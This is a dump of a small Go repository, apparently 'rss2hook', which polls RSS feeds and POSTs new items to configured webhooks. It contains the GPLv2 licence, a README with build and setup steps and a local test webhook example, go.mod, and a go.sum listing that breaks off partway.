├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── rss2hook.go ├── sample.cfg └── webhook └── webhook.go /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Go Report Card](https://goreportcard.com/badge/github.com/pristinelab/rss2hook)](https://goreportcard.com/report/github.com/pristinelab/rss2hook) 2 | [![license](https://img.shields.io/github/license/skx/rss2hook.svg)](https://github.com/pristinelab/rss2hook/blob/master/LICENSE) 3 | [![Release](https://img.shields.io/github/release/skx/rss2hook.svg)](https://github.com/pristinelab/rss2hook/releases/latest) 4 | 5 | * [RSS2Hook](#rss2hook) 6 | * [Rational](#rational) 7 | * [Installation](#installation) 8 | * [Build without Go Modules (Go before 1.11)](#build-without-go-modules-go-before-111) 9 | * [Build with Go Modules (Go 1.11 or higher)](#build-with-go-modules-go-111-or-higher) 10 | * [Setup](#setup) 11 | * [Sample Webhook Receiver](#sample-webhook-receiver) 12 | * [Implementation Notes](#implementation-notes) 13 | * [Github Setup](#github-setup) 14 | 15 | 16 | # RSS2Hook 17 | 18 | This project is a self-hosted utility which will make HTTP POST 19 | requests to remote web-hooks when new items appear in an RSS feed. 20 | 21 | 22 | 23 | ## Rational 24 | 25 | I have a couple of webhooks in-place already which will take incoming 26 | HTTP submissions and "do stuff" with them, for example: 27 | 28 | * Posting to my alerting system. 29 | * Which is called [purppura](https://github.com/skx/purppura/) and is pretty neat. 30 | * Posting to IRC. 31 | * IRC was mattermost before slack before born. 32 | 33 | I _also_ have a bunch of RSS feeds that I follow, typically these include 34 | github releases of projects. For example my git-host runs [gitbucket](https://github.com/gitbucket/gitbucket) so I subscribe to the release feed of that, to ensure I'm always up to date: 35 | 36 | * https://github.com/gitbucket/gitbucket/releases.atom 37 | 38 | 39 | ## Installation 40 | 41 | There are two ways to install this project from source, which depend on the version of the [go](https://golang.org/) version you're using. 42 | 43 | If you prefer you can fetch a binary from [our release page](https://github.com/pristinelab/rss2hook/releases). Currently there is only a binary for Linux (amd64) due to the use of `cgo` in our dependencies. 44 | 45 | ## Build without Go Modules (Go before 1.11) 46 | 47 | go get -u github.com/pristinelab/rss2hook 48 | 49 | ## Build with Go Modules (Go 1.11 or higher) 50 | 51 | git clone https://github.com/pristinelab/rss2hook ;# make sure to clone outside of GOPATH 52 | cd rss2hook 53 | go install 54 | 55 | 56 | 57 | ## Setup 58 | 59 | There are two parts to the setup: 60 | 61 | * Configure the list of feeds and the corresponding hooks to POST to. 62 | * Ensure the program is running. 63 | 64 | For the first create a configuration-file like so: 65 | 66 | http://example.com/feed.rss = https://webhook.example.com/notify/me 67 | 68 | (There is a sample configuration file [sample.cfg](sample.cfg) which 69 | will demonstrate this more verbosely.) 70 | 71 | You can use your favourite supervision tool to launch the deamon, but you 72 | can test interactively like so: 73 | 74 | $ rss2hook -config ./sample.cfg 75 | 76 | 77 | 78 | ### Sample Webhook Receiver 79 | 80 | There is a simple webserver located beneath [webhook/](webhook/) which 81 | will listen upon http://localhost:8080, and dump any POST submission to the 82 | console. 83 | 84 | You can launch it like so: 85 | 86 | cd webhook/ 87 | go run webhook.go 88 | 89 | Testing it via `curl` would look like this: 90 | 91 | $ curl --header "Content-Type: application/json" \ 92 | --request POST \ 93 | --data '{"username":"blah","password":"blah"}' \ 94 | http://localhost:8080/ 95 | 96 | The [sample.cfg](sample.cfg) file will POST to this end-point so you can 97 | see how things work: 98 | 99 | $ rss2hook --config=sample.cfg 100 | 101 | 102 | 103 | ## Implementation Notes 104 | 105 | * By default the server will poll all configured feeds immediately 106 | upon startup. 107 | * It will look for changes every five minutes. 108 | * To ensure items are only announced once state is kept on the filesystem. 109 | * Beneath the directory `~/.rss2hook/seen/`. 110 | * Feed items are submitted to the webhook as JSON. 111 | 112 | 113 | 114 | ## Github Setup 115 | 116 | This repository is configured to run tests upon every commit, and when 117 | pull-requests are created/updated. The testing is carried out via 118 | [.github/run-tests.sh](.github/run-tests.sh) which is used by the 119 | [github-action-tester](https://github.com/skx/github-action-tester) action. 120 | 121 | Releases are automated in a similar fashion via [.github/build](.github/build), 122 | and the [github-action-publish-binaries](https://github.com/skx/github-action-publish-binaries) action. 123 | 124 | Steve 125 | -- 126 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/pristinelab/rss2hook 2 | 3 | go 1.12 4 | 5 | require ( 6 | github.com/PuerkitoBio/goquery v1.9.2 // indirect 7 | github.com/mmcdole/gofeed v1.3.0 8 | github.com/mmcdole/goxpp v1.1.1 // indirect 9 | github.com/robfig/cron v1.2.0 10 | ) 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 2 | github.com/PuerkitoBio/goquery v1.8.0/go.mod h1:ypIiRMtY7COPGk+I/YbZLbxsxn9g5ejnI2HSMtkjZvI= 3 | github.com/PuerkitoBio/goquery v1.9.2 h1:4/wZksC3KgkQw7SQgkKotmKljk0M6V8TUvA8Wb4yPeE= 4 | github.com/PuerkitoBio/goquery v1.9.2/go.mod h1:GHPCaP0ODyyxqcNoFGYlAprUFH81NuRPd0GX3Zu2Mvk= 5 | github.com/andybalholm/cascadia v1.3.1/go.mod h1:R4bJ1UQfqADjvDa4P6HZHLh/3OxWWEqc0Sk8XGwHqvA= 6 | github.com/andybalholm/cascadia v1.3.2 h1:3Xi6Dw5lHF15JtdcmAHD3i1+T8plmv7BQ/nsViSLyss= 7 | github.com/andybalholm/cascadia v1.3.2/go.mod h1:7gtRlve5FxPPgIgX36uWBX58OdBsSS6lUvCFb+h7KvU= 8 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 9 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 11 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 12 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 13 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 14 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 15 | github.com/mmcdole/gofeed v1.3.0 h1:5yn+HeqlcvjMeAI4gu6T+crm7d0anY85+M+v6fIFNG4= 16 | github.com/mmcdole/gofeed v1.3.0/go.mod h1:9TGv2LcJhdXePDzxiuMnukhV2/zb6VtnZt1mS+SjkLE= 17 | github.com/mmcdole/goxpp v1.1.1-0.20240225020742-a0c311522b23/go.mod h1:v+25+lT2ViuQ7mVxcncQ8ch1URund48oH+jhjiwEgS8= 18 | github.com/mmcdole/goxpp v1.1.1 h1:RGIX+D6iQRIunGHrKqnA2+700XMCnNv0bAOOv5MUhx8= 19 | github.com/mmcdole/goxpp v1.1.1/go.mod h1:v+25+lT2ViuQ7mVxcncQ8ch1URund48oH+jhjiwEgS8= 20 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 21 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 22 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 23 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 24 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 25 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 26 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 27 | github.com/robfig/cron v1.2.0 h1:ZjScXvvxeQ63Dbyxy76Fj3AT3Ut0aKsyd2/tl3DTMuQ= 28 | github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= 29 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 30 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 31 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 32 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 33 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 34 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 35 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 36 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 37 | github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= 38 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 39 | github.com/urfave/cli v1.22.3/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= 40 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 41 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 42 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 43 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 44 | golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M= 45 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 46 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 47 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 48 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 49 | golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 50 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 51 | golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= 52 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 53 | golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= 54 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 55 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 56 | golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w= 57 | golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8= 58 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 59 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 60 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 61 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 62 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 63 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 64 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 65 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 66 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 67 | golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 68 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 69 | golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 70 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 71 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 72 | golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 73 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 74 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 75 | golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= 76 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 77 | golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= 78 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 79 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 80 | 